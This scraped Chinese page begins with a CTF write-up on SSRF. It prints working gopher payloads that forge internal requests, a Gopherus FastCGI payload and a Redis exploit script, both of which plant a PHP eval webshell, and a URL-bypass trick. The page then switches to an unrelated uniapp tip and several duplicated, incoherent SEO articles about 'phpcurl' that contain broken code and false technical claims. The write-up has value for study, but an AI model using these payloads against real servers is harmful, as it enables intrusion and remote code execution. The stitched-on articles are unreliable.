gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Type:%20application/x-www-form-urlencoded%0AContent-Length:%2036%0A%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7
把%0A换成%0d%0A,最后加上%0d%0A,最后加上%0d%0a (\r\n)
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20127.0.0.1:80%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%2036%0d%0A%0d%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7%0d%0a
然后做一个 URL 编码
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Df1688c97bf2e6dda47be87e4d8f87cd7%250D%250A
当然是手动编码,再加上复杂的转换,大大增加了错误率,于是我在网上找了一个脚本
import urllib.parse<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />payload =\<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"""POST /flag.php HTTP/1.1<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Host: 127.0.0.1<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Type: application/x-www-form-urlencoded<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Length: 36<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />key=c384d200658f258e5b5c681bf0aa29a8<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />""" <br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />#注意后面一定要有回车,回车结尾表示http请求结束<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />tmp = urllib.parse.quote(payload)<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />new = tmp.replace('%0A','%0D%0A')<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />result = 'gopher://127.0.0.1:80/'+'_'+new<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />result = urllib.parse.quote(result)<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />print(result) # 这里因为是GET请求所以要进行两次url编码
您可以直接对结果进行编码并提交。
FastCGI 协议
标题说明:这次。我们需要攻击 fastcgi 协议。也许所附的文章会对你有所帮助
发个附件介绍fastcgi协议和PHP-FPM
FastCGI<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Wikipedia对FastCGI的解释:快速通用网关接口(FastCommon Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使服务器可以同时处理更多的网页请求。<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />php-fpm<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />官方对php-fpm的解释是FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。也就是说php-fpm是FastCGI的一个具体实现,其默认监听9000端口
这里,虽然附件中给出的复现方法已经很好了,但是查了资料后发现还有第二种方法,而且比较简单,所以我就用第二种方法复现了.
使用工具 Gopherus() 生成攻击 FastCGI 协议的有效载荷
python gopherus.py --exploit fastcgi<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />/var/www/html/index.php # 这里输入的是一个已知存在的php文件<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php
这里我直接指master的payload,生成的payload
gopher://127.0.0.1:9000/_%0FSERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0FSERVER_PROTOCOLHTTP/1.1%0ECONTENT_LENGTH134%0EREQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0FSCRIPT_FILENAME/var/www/html/index.php%20%20%0DDOCUMENT_ROOT/%86%3C%3Fphp%20system%28%27echo%20PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%20%7C%20base64%20-d%20%3E%20/var/www/html/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E
这里是url-encoded,因为url会解码一次,curl也会解码一次,所以需要编码两次。这个payload已经被编码过一次,所以可以再次编码。
gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH134%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2586%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%2520%257C%2520base64%2520-d%2520%253E%2520/var/www/html/shell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

然后上传成功
蚂蚁剑连接壳
连接成功,在根目录下找到flag
Redis 协议
标题说明:这次来攻击redis协议,redis://127.0.0.1:6379。材料?无信息!自己找!
众所周知,redis服务是在6379端口开启的,通常是利用redis的非授权访问来达到写shell或者反弹ssh的目的。
这里本来是想用gopherus直接生成redis的未授权访问并写入shell
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2430%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%271%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
但是二次编码时输入不成功,不知道为什么。这里我还是用whoami大师的方法来玩。
构造redis命令:
flushall<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />set 1 ''<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />config set dir /var/www/html<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />config set dbfilename shell.php<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />save
大师 WHOAMI 的 EXP 脚本:
import urllib<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />protocol="gopher://"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />ip="127.0.0.1"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />port="6379"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />shell="\n\n\n\n"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />filename="shell.php"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />path="/var/www/html"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />passwd=""<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd=["flushall",<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"set 1 {}".format(shell.replace(" ","${IFS}")),<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"config set dir {}".format(path),<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"config set dbfilename {}".format(filename),<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"save"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />]<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />if passwd:<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd.insert(0,"AUTH {}".format(passwd))<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />payload=protocol+ip+":"+port+"/_"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />def redis_format(arr):<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />CRLF="\r\n"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />redis_arr = arr.split(" ")<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd=""<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd+="*"+str(len(redis_arr))<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />for x in redis_arr:<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd+=CRLF<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />return cmd<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />if __name__=="__main__":<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />for x in cmd:<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />payload += urllib.quote(redis_format(x))<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />print urllib.quote(payload) # 由于我们这里是GET,所以要进行两次url编<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />码
生成以下负载
gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
获取传值,蚁剑连接。
但是我一直报错,很奇怪
常见的绕过方法
这里还是用ctfhub的话题,不过绕过方法,我会展开buu和ctfshow的相关话题。
网址绕过
标题说明:请求的URL必须收录,尝试使用URL的某些特殊部分绕过此限制
构建有效载荷:
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
扩展名:如果需要以 .com 开头并以 @ 结尾
有效载荷
解决方法:uniapp 里 onshow 接收不到参数如何解决?
场景描述:
普通页面onLoad可以接收上一页的参数
onLoad(e) {
//获取上个页面传递的地址栏参数 id
console.log(e.id);
<p>

}</p>
但是 onLoad() 页面只会加载一次。
现在有这样一个应用场景:
页面A跳转到页面B,当页面B处理完毕再返回页面A时,页面A不会触发onLoad()。
如果当前页面是其他页面的回调页面,那么其他页面跳转到回调页面时如何获取参数?
此时需要使用onShow()的钩子函数来处理页面栈数据。
onShow(){
<p>

let allPages = getCurrentPages(); //获取当前页面栈的实例;
console.log(allPages);
let lastPages = allPages.length - 1; // 获得倒数第二个元素的索引;
console.log(lastPages);
let option = allPages[lastPages].options; // 获得上个页面传递的参数;
console.log(option);
}</p>
此时,这样就可以从option中获取地址栏参数了。
phpcurl抓取网页指定内容的代码发给你(组图)
网站优化 • 优采云 发表了文章 • 0 个评论 • 75 次浏览 • 2022-09-09 23:20
phpcurl抓取网页指定内容的代码,发给你,此时你已经绕过了应用层,将请求地址直接传输给了浏览器。所以直接解析http协议返回的数据不会有任何奇怪的地方。
我们都有过这样的经历:短短几秒钟时间,你的浏览器便把我们感兴趣的网页发给了我们。那么,浏览器是如何做到这样的呢?难道它只是爬虫?当然不是,这是使用php的http模块来完成的。下面让我们来分享下它是如何工作的。在爬虫程序中,有两类请求:一类是request请求,另一类是post请求。request请求如下所示,请求地址是,输入信息后,会获取数据,然后再处理。
另一方面,用户可以向服务器提交内容以请求post请求(例如mysql)。在post请求中,很有意思的是会针对每个请求返回一个相应信息,作为更新数据的依据。假设,如果发出该请求的是一个公司的网页,那么,它通常可以返回三条信息中的任意一条。如下所示所示,通过向服务器发送post请求,服务器就可以更新部门名称和职位名称。
是不是没想到有这么神奇的功能?那么,下面让我们来看看它是如何工作的。我们来看下http的web服务器是如何提供基于url的api访问的。请求头写在http头中,请求体也在。如上面那个post请求所示,在第2步,服务器会先查找post请求的地址是否存在,如果存在,服务器就会返回一个post的链接(其实是要读取的html文件)。
如果该网页没有职位名称的话,那么服务器会提示用户去获取职位名称。只要用户不拒绝这样的请求,那么该网页就会提供相应的职位名称。由于这样做可以防止缓存丢失,保持网页的实时更新。那么,我们来看看http协议中的post请求是如何更新cookie信息的。在浏览器浏览web站点时,浏览器通常会为每一个进程配置一个cookie(其实就是记录你网页所访问的情况的信息)。
用户在打开该网页时,服务器会在cookie中存储cookie值,并会将cookie值和你的浏览器信息(你的浏览器id和昵称等信息)作为该网页的实时标识。这样的话,当你打开其他网页时,服务器会对那些和你一样的cookie值的地址给予响应,网页这样就可以把你之前的网页所有记录的网页id和你的昵称匹配起来。
如下图所示:当你再次访问该网页时,就会出现实时的记录了。我们来分析一下上面的代码,创建一个函数:post...functionpost($env,$export){if(!env&&!export)return;global$envasstring;export=post($env,$export);}这样,在用户请求该网页时,网页会实时存储该网页的cookie。如果响应httpresponse时,调用该。 查看全部
phpcurl抓取网页指定内容的代码发给你(组图)
phpcurl抓取网页指定内容的代码,发给你,此时你已经绕过了应用层,将请求地址直接传输给了浏览器。所以直接解析http协议返回的数据不会有任何奇怪的地方。
我们都有过这样的经历:短短几秒钟时间,你的浏览器便把我们感兴趣的网页发给了我们。那么,浏览器是如何做到这样的呢?难道它只是爬虫?当然不是,这是使用php的http模块来完成的。下面让我们来分享下它是如何工作的。在爬虫程序中,有两类请求:一类是request请求,另一类是post请求。request请求如下所示,请求地址是,输入信息后,会获取数据,然后再处理。

另一方面,用户可以向服务器提交内容以请求post请求(例如mysql)。在post请求中,很有意思的是会针对每个请求返回一个相应信息,作为更新数据的依据。假设,如果发出该请求的是一个公司的网页,那么,它通常可以返回三条信息中的任意一条。如下所示所示,通过向服务器发送post请求,服务器就可以更新部门名称和职位名称。
是不是没想到有这么神奇的功能?那么,下面让我们来看看它是如何工作的。我们来看下http的web服务器是如何提供基于url的api访问的。请求头写在http头中,请求体也在。如上面那个post请求所示,在第2步,服务器会先查找post请求的地址是否存在,如果存在,服务器就会返回一个post的链接(其实是要读取的html文件)。

如果该网页没有职位名称的话,那么服务器会提示用户去获取职位名称。只要用户不拒绝这样的请求,那么该网页就会提供相应的职位名称。由于这样做可以防止缓存丢失,保持网页的实时更新。那么,我们来看看http协议中的post请求是如何更新cookie信息的。在浏览器浏览web站点时,浏览器通常会为每一个进程配置一个cookie(其实就是记录你网页所访问的情况的信息)。
用户在打开该网页时,服务器会在cookie中存储cookie值,并会将cookie值和你的浏览器信息(你的浏览器id和昵称等信息)作为该网页的实时标识。这样的话,当你打开其他网页时,服务器会对那些和你一样的cookie值的地址给予响应,网页这样就可以把你之前的网页所有记录的网页id和你的昵称匹配起来。
如下图所示:当你再次访问该网页时,就会出现实时的记录了。我们来分析一下上面的代码,创建一个函数:post...functionpost($env,$export){if(!env&&!export)return;global$envasstring;export=post($env,$export);}这样,在用户请求该网页时,网页会实时存储该网页的cookie。如果响应httpresponse时,调用该。
【phpcurl抓取网页指定内容】解析执行命令的参数解析
网站优化 • 优采云 发表了文章 • 0 个评论 • 100 次浏览 • 2022-06-21 23:05
phpcurl抓取网页指定内容,给出一个解析执行命令的参数是php,要实现需要一个类servicetask,类定义为myservice,创建一个request来发送指定的内容到它的用户,以及一个curl请求,请求参数里面有结果返回字符串参数类型为curl请求参数lazy方法可以优先抓取路径匹配的内容,解析手动构造数据列表。
curl提供三种方式:正则匹配,
有两种方式。直接用curl生成文件。正则引擎生成。
/?send=/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\。 查看全部
【phpcurl抓取网页指定内容】解析执行命令的参数解析
phpcurl抓取网页指定内容,给出一个解析执行命令的参数是php,要实现需要一个类servicetask,类定义为myservice,创建一个request来发送指定的内容到它的用户,以及一个curl请求,请求参数里面有结果返回字符串参数类型为curl请求参数lazy方法可以优先抓取路径匹配的内容,解析手动构造数据列表。
curl提供三种方式:正则匹配,
有两种方式。直接用curl生成文件。正则引擎生成。
/?send=/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\。
phpcurl抓取网页指定内容并提取格式为:json.所以phpcurl
网站优化 • 优采云 发表了文章 • 0 个评论 • 108 次浏览 • 2022-06-17 10:02
phpcurl抓取网页指定内容并提取格式为:json.所以phpcurl需要一个名为curl的对象
phpcurl抓取网页实现request方法可以抓取到相应的json格式数据,但是程序或者jsp页面可能有些局部不透明或者未过滤的html,这种情况下也就没办法从源码提取网页上所有的数据了。
其实laravel框架内置了一个phpcurl解析器,可以用来提取页面所有的json数据。更简单的方法是,只要提供一个定制的curl解析器,然后就能完成网页数据提取了。
phpschemaadmin的request(index:laravelredist)提供了类似curl的request方法来抓取数据。
找个curl就好了呀...无非是在返回的postresponse中继续提取url
建议用request提供的curl方法抓取,再用正则分析重定向。
多半还是要在js中写curl获取数据的方法,当然,如果你开发的页面非常大的话,肯定有别的方法,你还可以用正则去抓取url或者找一些网站可以抓包来抓,但是实际上从最根本上还是使用curl比较好,request是laravel框架的核心方法,很多库都提供了,
看了这么多答案,虽然现在都是使用自己写的swoole,但是还是觉得手工抓还是略麻烦,要是对laravel熟悉的话直接使用laravel提供的curl方法就很简单,好几十行。为了方便,我自己创建了一个单例放在网站上面,先跑一个。把需要抓取的数据保存下来,创建一个单例继承于原来的一个url,只需要获取数据并且解析即可,速度一样很快!。 查看全部
phpcurl抓取网页指定内容并提取格式为:json.所以phpcurl
phpcurl抓取网页指定内容并提取格式为:json.所以phpcurl需要一个名为curl的对象
phpcurl抓取网页实现request方法可以抓取到相应的json格式数据,但是程序或者jsp页面可能有些局部不透明或者未过滤的html,这种情况下也就没办法从源码提取网页上所有的数据了。
其实laravel框架内置了一个phpcurl解析器,可以用来提取页面所有的json数据。更简单的方法是,只要提供一个定制的curl解析器,然后就能完成网页数据提取了。
phpschemaadmin的request(index:laravelredist)提供了类似curl的request方法来抓取数据。
找个curl就好了呀...无非是在返回的postresponse中继续提取url
建议用request提供的curl方法抓取,再用正则分析重定向。
多半还是要在js中写curl获取数据的方法,当然,如果你开发的页面非常大的话,肯定有别的方法,你还可以用正则去抓取url或者找一些网站可以抓包来抓,但是实际上从最根本上还是使用curl比较好,request是laravel框架的核心方法,很多库都提供了,
看了这么多答案,虽然现在都是使用自己写的swoole,但是还是觉得手工抓还是略麻烦,要是对laravel熟悉的话直接使用laravel提供的curl方法就很简单,好几十行。为了方便,我自己创建了一个单例放在网站上面,先跑一个。把需要抓取的数据保存下来,创建一个单例继承于原来的一个url,只需要获取数据并且解析即可,速度一样很快!。
phpcurl抓取网页指定内容、自动生成html、看html源代码修改地址
网站优化 • 优采云 发表了文章 • 0 个评论 • 64 次浏览 • 2022-05-19 15:03
phpcurl抓取网页指定内容、自动生成html、看html源代码修改地址、看页面原理、抓包分析包含信息信息库收藏本地抓取等;
phpcurl查询网页内容指定文件名手动修改文件名抓包分析包含信息信息库收藏本地抓取等
实际功能有这么几个:数据库同步同步后更新数据库点查询查询网页内容点响应请求响应查询响应查询成功再通过数据库的sql语句查询关联的数据库响应返回查询结果点计数当一个页面点击多次点击再次请求再次响应返回请求成功返回成功用户ua地址返回浏览器返回成功
phpcurl是针对http的网络抓包工具。phpcurl的的主要实现是由工具人工使用c语言写成的,工具人工命名页面域名,然后工具在本地(用户浏览器)对服务器响应request,在服务器返回response之后curl工具继续下一步的处理。一般php网络抓包时要遵循哪些原则呢?首先你要清楚网络抓包原则,网络抓包原则大家可以看cnocrenderer源码分析。下面列出了一些可能会用到的网络抓包技巧:。
1、还原数据包每一个http请求都是基于http消息的模型,所以要保证响应不会重复(requestheader,这些网上都有很多);如果http请求包(不一定是整包的http消息)里面包含了数据的话,那么最好包含数据的(不要全包)。
2、看http协议头它不是像tcprequest一样的传输数据,是先过http头,再传递给服务器的。所以一般要看清楚你的datatype,你拿不到http协议头,但是你拿到了http协议头就能判断包包含哪些参数,如果这个包是数据字符串就可以在http请求里面体现出来。
3、检查http数据包大小首先看网页的httpresponseheader,看里面的user-agent-authority,它表示http协议头的源码,用于对这些参数进行验证。
4、finge=detailhttpcontent-type是区分post还是get的。所以在发送请求的时候要发送对应的content-type,post用get,post的content-type中不要包含authorization。如果你的content-type是authorization,那么你可以看看对应响应是否是get的。
5、检查httpheaderdataheader,一般都包含了协议头和headerrequest-acceptcontent-typecontent-lengthcontent-lengthcontent-title当然你还要查看content-type的内容,比如说http要求,响应的content-type是content-type不要写空格,如果写错就失败,如果content-type带的header有参数的话,响应就是json。
6、检查http请求和响应第一步是检查传输数据包的格式,因为http协议使用utf-8编码的, 查看全部
phpcurl抓取网页指定内容、自动生成html、看html源代码修改地址
phpcurl抓取网页指定内容、自动生成html、看html源代码修改地址、看页面原理、抓包分析包含信息信息库收藏本地抓取等;
phpcurl查询网页内容指定文件名手动修改文件名抓包分析包含信息信息库收藏本地抓取等
实际功能有这么几个:数据库同步同步后更新数据库点查询查询网页内容点响应请求响应查询响应查询成功再通过数据库的sql语句查询关联的数据库响应返回查询结果点计数当一个页面点击多次点击再次请求再次响应返回请求成功返回成功用户ua地址返回浏览器返回成功
phpcurl是针对http的网络抓包工具。phpcurl的的主要实现是由工具人工使用c语言写成的,工具人工命名页面域名,然后工具在本地(用户浏览器)对服务器响应request,在服务器返回response之后curl工具继续下一步的处理。一般php网络抓包时要遵循哪些原则呢?首先你要清楚网络抓包原则,网络抓包原则大家可以看cnocrenderer源码分析。下面列出了一些可能会用到的网络抓包技巧:。
1、还原数据包每一个http请求都是基于http消息的模型,所以要保证响应不会重复(requestheader,这些网上都有很多);如果http请求包(不一定是整包的http消息)里面包含了数据的话,那么最好包含数据的(不要全包)。
2、看http协议头它不是像tcprequest一样的传输数据,是先过http头,再传递给服务器的。所以一般要看清楚你的datatype,你拿不到http协议头,但是你拿到了http协议头就能判断包包含哪些参数,如果这个包是数据字符串就可以在http请求里面体现出来。
3、检查http数据包大小首先看网页的httpresponseheader,看里面的user-agent-authority,它表示http协议头的源码,用于对这些参数进行验证。
4、finge=detailhttpcontent-type是区分post还是get的。所以在发送请求的时候要发送对应的content-type,post用get,post的content-type中不要包含authorization。如果你的content-type是authorization,那么你可以看看对应响应是否是get的。
